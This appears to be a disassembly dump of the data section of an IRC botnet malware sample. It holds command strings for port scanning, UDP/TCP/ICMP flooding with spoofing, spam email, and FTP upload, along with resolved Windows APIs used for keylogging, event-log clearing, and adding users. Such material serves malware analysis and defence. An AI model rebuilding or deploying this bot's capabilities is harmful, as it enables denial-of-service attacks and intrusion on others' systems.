sub_401CC7+5E73o aSSS db '[%s] * %s %s',0 ; DATA XREF: sub_401CC7+5F07o align 4 ; char aPortscan[] aPortscan db 'portscan',0 ; DATA XREF: sub_401CC7+4FDDo align 4 ; char aPsc[] aPsc db 'psc',0 ; DATA XREF: sub_401CC7+4FF4o ; char asc_443128[] asc_443128 db '-' ; DATA XREF: sub_401CC7+5DA0o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_443178 db 2Dh ; - ; DATA XREF: sub_401CC7+5E0Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_28 db 'Failed to start scan thread, error: <%d>.',0 align 4 ; char aAdvscan[] aAdvscan db 'advscan',0 ; DATA XREF: sub_401CC7+500Bo ; char aAsc[] aAsc db 'asc',0 ; DATA XREF: sub_401CC7+5022o ; char asc_4431C0[] asc_4431C0 db '-' ; DATA XREF: sub_401CC7+5875o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0 align 10h unk_443200 db 2Dh ; - ; DATA XREF: sub_401CC7+5AC7o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_29 db 'Failed to start scan, port is invalid.',0 align 4 unk_443234 db 2Dh ; - ; DATA XREF: sub_401CC7+5B24o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start scan, no IP specified.',0 align 4 aRandom_1 db 'Random',0 ; DATA XREF: sub_401CC7+5C68o align 10h aSequential_0 db 'Sequential',0 ; DATA XREF: sub_401CC7+5C6Fo align 4 ; char asc_44327C[] asc_44327C db '-' ; DATA XREF: sub_401CC7+5C9Ao db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_4432E4 db 2Dh ; - ; DATA XREF: sub_401CC7+5D09o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_31 db 'Failed to start scan thread, error: <%d>.',0 align 4 ; char aUdpflood[] aUdpflood db 'udpflood',0 ; DATA XREF: sub_401CC7+5039o align 4 ; char aUdp[] aUdp db 'udp',0 ; DATA XREF: sub_401CC7+5050o ; char aU[] aU: ; DATA XREF: sub_401CC7+5067o unicode 0, <u>,0 ; char asc_443330[] asc_443330 db '-' ; DATA XREF: sub_401CC7+57ADo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 ; char asc_443378[] asc_443378 db '-' ; DATA XREF: sub_401CC7+5818o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_32 db '- Failed to start flood thread, error: <%d>.',0 align 10h ; char aNetsend[] aNetsend db 'netsend',0 ; DATA XREF: sub_401CC7+507Eo ; char aNs[] aNs db 'ns',0 ; DATA XREF: sub_401CC7+5095o align 4 ; char asc_4433BC[] asc_4433BC db '-' ; DATA XREF: sub_401CC7+5602o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 unk_4433F8 db 2Dh ; - ; DATA XREF: sub_401CC7+56A4o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 10h ; char asc_443430[] asc_443430 db '-' ; DATA XREF: sub_401CC7+56C8o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_443464 db 2Dh ; - ; DATA XREF: sub_401CC7+56FCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 ; char aPingflood[] aPingflood db 'pingflood',0 ; DATA XREF: sub_401CC7+50ACo align 4 ; char aPing_0[] aPing_0 db 'ping',0 ; DATA XREF: sub_401CC7+50C3o align 4 ; char aP[] aP: ; DATA XREF: sub_401CC7+50DAo unicode 0, <p>,0 ; char asc_4434B0[] asc_4434B0 db '-' ; DATA XREF: sub_401CC7+5561o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_4434F8 db 2Dh ; - ; DATA XREF: sub_401CC7+55D0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_33 db 'Failed to start flood thread, error: <%d>.',0 align 10h ; char aIcmp_dllNotAva[] aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401CC7+55E5o align 4 ; char aTcpflood[] aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401CC7+50F1o align 4 ; char aTcp[] aTcp db 'tcp',0 ; DATA XREF: sub_401CC7+5108o ; char aSyn_0[] aSyn_0 db 'syn',0 ; DATA XREF: sub_401CC7+533Eo ; char aAck[] aAck db 'ack',0 ; DATA XREF: sub_401CC7+5356o ; char aRandom_0[] aRandom_0 db 'random',0 ; DATA XREF: sub_401CC7+536Do align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401CC7+5418o aNormal db 'Normal',0 ; DATA XREF: sub_401CC7+541Fo align 4 ; char asc_443578[] asc_443578 db '-' ; DATA XREF: sub_401CC7+542Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 unk_4435AC db 2Dh ; - ; DATA XREF: sub_401CC7+54A9o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_34 db '- Failed to start flood thread, error: <%d>.',0 align 4 ; char asc_4435E4[] asc_4435E4 db '-' ; DATA XREF: sub_401CC7:loc_40717Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_44361C db 2Dh ; - ; DATA XREF: sub_401CC7+537Do db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 ; char aEmail[] aEmail db 'email',0 ; DATA XREF: sub_401CC7+511Fo align 10h ; char asc_443650[] asc_443650: ; DATA XREF: sub_401CC7+5169o unicode 0, < >,0 ; char a__1[] a__1: ; DATA XREF: sub_401CC7+516Eo unicode 0, <_>,0 ; char aHeloRndnickMai[] aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401CC7+520Ao db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 ; char asc_4436A4[] asc_4436A4 db '-' ; DATA XREF: sub_401CC7+527Eo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 ; char aHttpcon[] aHttpcon db 'httpcon',0 ; DATA XREF: sub_401CC7+52CDo ; char aHcon[] aHcon db 'hcon',0 ; DATA XREF: sub_401CC7+52E0o align 4 ; char aUpload[] aUpload db 'upload',0 ; DATA XREF: sub_401CC7+58ABo align 10h unk_4436E0 db 2Dh ; - ; DATA XREF: sub_401CC7+58CEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 10h ; char aSIII_dll[] aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401CC7+5918o align 10h ; char Mode[] Mode db 'ab',0 ; DATA XREF: sub_401CC7+5929o align 4 ; char aOpenSSSSPutSBy[] aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401CC7+594Do db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 ; char aSS_2[] aSS_2 db '-s:%s',0 ; DATA XREF: sub_401CC7+5970o align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401CC7+5987o aOpen_0 db 'open',0 ; DATA XREF: sub_401CC7+598Co align 10h unk_443750 db 2Dh ; - ; DATA XREF: sub_401CC7+59A0o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s',0 align 4 ; char asc_443778[] asc_443778 db '-' ; DATA XREF: sub_401CC7:loc_40766Eo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s failed.',0 align 4 ; char aNotice_3[] aNotice_3 db 'NOTICE',0 ; DATA XREF: sub_409D34+Fo align 10h aPrivmsg_2 db 'PRIVMSG',0 ; DATA XREF: sub_409D34+16o ; char aS_21[] aS_21 db '%s',0 ; DATA XREF: sub_409D34+3Do align 4 ; char aSSS_1[] aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409D34+5Do aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409DD4+Ao align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409DD4+23o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409DD4+2Bo align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409DD4+38o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409DD4+45o align 4 aModule32first db 'Module32First',0 ; DATA XREF: sub_409DD4+52o align 4 aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409DD4+5Fo aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409DD4+6Co aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409DD4+79o align 10h aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409DD4+86o aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409DD4+93o aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409DD4+A0o align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409DD4:loc_409EDCo align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409DD4:loc_409F09o align 4 aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409DD4+14Ao align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409DD4+152o aIswindow db 'IsWindow',0 ; DATA XREF: sub_409DD4+15Fo align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409DD4+16Co align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409DD4+179o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409DD4+186o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409DD4+193o align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409DD4+1A0o align 10h aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409DD4:loc_409FCCo align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409DD4+200o aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409DD4+20Do align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409DD4+21Ao aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409DD4:loc_40A033o align 4 aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409DD4+270o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409DD4+278o aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409DD4+285o align 4 aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409DD4+292o align 4 aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409DD4+29Fo aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409DD4+2ACo aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409DD4+2B9o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409DD4+2C6o align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409DD4:loc_40A0E6o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409DD4+31Ao align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409DD4+327o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409DD4:loc_40A12Bo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409DD4+35Fo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409DD4+36Co align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409DD4+379o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409DD4+386o align 4 aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409DD4+393o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409DD4+3A0o aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409DD4+3ADo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409DD4:loc_40A1D9o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409DD4:loc_40A201o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409DD4+43Eo align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409DD4+446o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409DD4+453o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409DD4+460o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409DD4+46Do align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409DD4+47Ao align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_409DD4+487o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409DD4+494o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409DD4+4A1o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409DD4+514o align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409DD4+525o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409DD4+52Do align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409DD4+53Ao align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409DD4+547o align 4 aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409DD4+554o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409DD4+561o aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409DD4+56Eo align 10h aSocket db 'socket',0 ; DATA XREF: sub_409DD4+57Bo align 4 aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409DD4+588o aConnect db 'connect',0 ; DATA XREF: sub_409DD4+595o aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409DD4+5A2o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409DD4+5AFo align 4 aHtons db 'htons',0 ; DATA XREF: sub_409DD4+5BCo align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409DD4+5C9o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409DD4+5D6o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409DD4+5E3o align 4 aSend_1 db 'send',0 ; DATA XREF: sub_409DD4+5F0o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409DD4+5FDo align 4 aRecv db 'recv',0 ; DATA XREF: sub_409DD4+60Ao align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409DD4+617o align 4 aBind db 'bind',0 ; DATA XREF: sub_409DD4+629o align 10h aSelect db 'select',0 ; DATA XREF: sub_409DD4+631o align 4 aListen db 'listen',0 ; DATA XREF: sub_409DD4+63Eo align 10h aAccept db 'accept',0 ; DATA XREF: sub_409DD4+64Bo align 4 aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409DD4+658o align 4 aGetsockname db 'getsockname',0 ; DATA XREF: sub_409DD4+665o aGethostname db 'gethostname',0 ; DATA XREF: sub_409DD4+672o aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409DD4+67Fo align 4 aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409DD4+68Co align 4 aGetpeername db 'getpeername',0 ; DATA XREF: sub_409DD4+699o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409DD4+6A6o aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409DD4:loc_40A5B3o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409DD4+7F0o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409DD4+7F8o aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409DD4+805o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409DD4+812o align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409DD4+81Fo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409DD4+82Co align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409DD4+839o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409DD4+846o align 4 aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409DD4+853o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409DD4+860o aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409DD4+8D2o align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409DD4:loc_40A6D3o align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD4+90Co align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD4+914o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD4+921o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409DD4:loc_40A732o align 4 aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409DD4+96Fo aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409DD4+977o aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409DD4+984o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409DD4+991o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409DD4+99Eo align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409DD4+9ABo align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409DD4+9B8o align 4 aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409DD4+9C5o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409DD4+9D2o aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409DD4+9DFo align 10h aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409DD4+9ECo align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409DD4+9F9o aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409DD4:loc_40A84Eo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409DD4+A87o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409DD4+A8Fo align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409DD4:loc_40A898o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409DD4+AD1o align 4 aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409DD4+AD9o align 10h aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409DD4:loc_40A8E2o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409DD4+B1Bo aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409DD4+B23o aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409DD4+B30o align 4 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409DD4+B3Do align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409DD4:loc_40A956o aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409DD4+B8Fo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409DD4+B97o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409DD4:loc_40A9A0o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409DD4+BD9o align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409DD4+BE1o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409DD4+BEEo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409DD4+BFBo align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409DD4+C08o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409DD4+C15o align 4 aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409DD4:loc_40AA3Eo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409DD4+C77o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409DD4+C7Fo align 10h ; char aKernel32_dllFa[] aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+28o align 4 ; char aUser32_dllFail[] aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+5Co ; char aAdvapi32_dllFa[] aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+90o align 10h ; char aGdi32_dllFaile[] aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+C4o align 4 ; char aWs2_32_dllFail[] aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+F8o ; char aWininet_dllFai[] aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+12Co align 4 ; char aIcmp_dllFailed[] aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+160o align 4 ; char aNetapi32_dllFa[] aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+194o align 10h ; char aDnsapi_dllFail[] aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+1C8o ; char aIphlpapi_dllFa[] aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+1FCo align 4 ; char aMpr32_dllFaile[] aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+230o align 4 ; char aShell32_dllFai[] aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+264o align 4 ; char aOdbc32_dllFail[] aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+298o ; char aAvicap32_dllFa[] aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+2CCo align 4 ; char asc_44422C[] asc_44422C db '-' ; DATA XREF: sub_40AA90+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 a__9: ; DATA XREF: .text:0040ADF0o unicode 0, <.>,0 a__10: ; DATA XREF: .text:0040AE08o unicode 0, <.>,0 unk_444254 db 2Dh ; - ; DATA XREF: sub_40AE8D+8Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 ; char asc_444280[] asc_444280 db '-' ; DATA XREF: sub_40AE8D:loc_40AF20o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 10h unk_4442B0 db 2Dh ; - ; DATA XREF: sub_40AE8D:loc_40AEE6o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_4442D4 db 2Dh ; - ; DATA XREF: sub_40AE8D:loc_40AF52o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 ; char asc_444304[] asc_444304 db '-' ; DATA XREF: sub_40AE8D+43o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGetting_0 db 'error getting ARP cache: %d',0 ; char aD_D_D_D[] aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AF71+46o align 10h aReal db 'real',0 align 4 dd 0 dword_44434C dd 0 ; DATA XREF: sub_40B44F+7o off_444350 dd offset sub_40B06A ; DATA XREF: sub_40B44F+49r aConst db 'const',0 align 10h dd 1 dd offset sub_40B0D7 aLetter db 'letter',0 align 10h dd 0 dd 2 dd offset sub_40B135 aComp db 'comp',0 align 8 dd 3 dd offset sub_40B182 aCountry db 'country',0 dd 0 dd 4 dd offset sub_40B228 dd 736Fh, 2 dup(0) dd 5 dd offset sub_40B29D off_4443B8 dd offset aAbdulrazak ; DATA XREF: sub_40B06A+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_4443C4 dd offset aAddison ; DATA XREF: sub_40B44F+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" 